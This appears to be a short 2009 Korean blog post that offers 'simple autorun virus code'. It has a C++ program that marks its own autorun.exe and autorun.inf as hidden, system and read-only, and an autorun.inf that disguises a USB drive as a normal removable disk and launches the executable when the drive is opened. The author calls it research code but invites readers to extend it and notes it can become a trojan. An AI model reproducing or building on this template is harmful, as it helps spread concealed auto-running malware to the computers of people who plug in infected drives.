2009년 2월 14일 토요일

간단한 오토런 바이러스 코드

(본 코드의 작성이유는 연구목적으로 작성하는 것이며, 만약에 이 바이러스 코드를 퍼트리시면 형사처벌을 받을 수 있습니다)
//autorun.cpp
#include <iostream>
#include <stdlib.h>
using namespace std;

int main(void)
{
   system ("@echo off");
   system ("attrib +S +H +R autorun.exe");
   system ("attrib +S +H +R autorun.inf");
   return 0;
}

//autorun.inf
[autorun.inf]
icon = autorun.exe
label = 이동식 디스크
open=autorun.exe
shell\open\Command=autorun.exe

ㅎㅎ 이거 응용해서 만들어 보시길(연구목적으로만 만드세요 =ㅅ=;; 악용하면 트로이목마도 될 수 있음 =ㅅ=;;)

댓글 없음:

댓글 쓰기